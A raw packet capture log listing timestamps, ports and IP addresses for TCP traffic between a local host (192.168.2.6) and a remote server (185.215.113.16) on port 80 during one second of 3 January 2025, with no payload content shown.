Jan 3, 2025 15:21:27.564182997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564197063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564212084 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564238071 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564296961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564323902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564337969 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564353943 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564368963 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564383984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564395905 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564407110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564421892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564426899 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564435959 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564450979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564456940 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564465046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564479113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564498901 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564531088 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564569950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564584970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564621925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564690113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564697981 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564704895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564718008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564732075 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564760923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564769983 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564802885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564829111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564841032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564863920 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564879894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564893961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564899921 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564899921 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564908981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564943075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564948082 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564976931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564979076 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565007925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565023899 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565048933 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565068960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565093994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565102100 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565109015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565124989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565134048 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565140009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565155983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565160036 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565196991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565207005 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565213919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565248966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565264940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565293074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565311909 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565311909 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565314054 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565330029 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565344095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565362930 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565366983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565378904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565397024 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565403938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565423965 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565428972 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565443993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565453053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565491915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565493107 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565507889 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565521955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565536022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565545082 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565548897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565562010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565577030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565583944 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565589905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565604925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565607071 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565618992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.565624952 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.565674067 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.573458910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.575861931 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.582216978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582453012 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582470894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582482100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582500935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582518101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582525969 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.582547903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582561016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582581997 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.582587004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582597971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582608938 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.582609892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582636118 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.582638979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582648993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582659960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582669973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582688093 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.582690001 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582700968 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582710028 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.582714081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582725048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582731009 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.582736969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582746029 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582755089 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.582757950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582775116 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582781076 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.582787991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582798958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582801104 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.582811117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582822084 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582822084 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.582840919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.582851887 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.582886934 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.585243940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.585416079 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.585427999 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.585448027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.585464954 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.585470915 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.585479021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.585490942 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.585503101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.585510015 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.585514069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.585525990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.585531950 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.585536003 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.585550070 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.585557938 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.585561991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.585572958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.585577965 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.585608959 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.585618973 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.599823952 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.602864981 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.654736042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.654778004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.654789925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.654839039 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.654850960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.654861927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.654870033 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.654874086 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.654922962 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.654942036 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.654953003 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.654964924 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.654975891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.654987097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.654993057 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.654998064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655009985 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655010939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655029058 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655036926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655059099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655061007 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655075073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655086040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655098915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655101061 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655112982 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655122042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655132055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655143023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655157089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655165911 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655186892 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655194044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655214071 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655236006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655256987 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655256987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655267000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655272961 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655277967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655289888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655297995 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655301094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655318022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655330896 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655359983 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655606031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655704021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655714989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655725956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655749083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655749083 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655760050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655771017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655772924 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655781984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655797005 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655824900 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655846119 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655855894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655867100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655879974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655890942 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655890942 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655900955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655917883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655925035 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655930042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655941010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655950069 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655975103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.655977964 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.655994892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656014919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656018972 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.656028032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656048059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656050920 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.656059980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656078100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656090021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656096935 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.656101942 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656125069 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.656143904 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.656147003 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656161070 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656177044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656188011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656198025 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.656200886 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656220913 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.656224012 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656235933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656266928 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.656322956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656333923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656346083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656357050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656373978 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.656375885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656378984 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.656402111 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.656404972 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656430960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656443119 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656454086 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656469107 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.656478882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656496048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656502008 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.656506062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656517029 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.656542063 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.656564951 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.673244953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673279047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673295975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673326969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673341990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673352003 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.673358917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673398018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673410892 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.673435926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673450947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673479080 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.673485994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673499107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673527956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673542976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673551083 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.673557043 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673569918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673590899 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.673603058 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673612118 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.673619032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673633099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673639059 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.673656940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673695087 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.673702955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673717976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673732042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673746109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673751116 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.673760891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673763037 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.673783064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673796892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673811913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673823118 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.673825026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673840046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673849106 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.673856020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673858881 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.673870087 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.673898935 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.676330090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676395893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676429033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676450014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.676461935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676476002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676480055 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.676511049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676515102 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.676525116 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676539898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676554918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676569939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676577091 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.676582098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676597118 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676601887 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.676610947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676623106 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.676625967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676640034 CET	49829	80	192.168.2.6	185.215.113.16
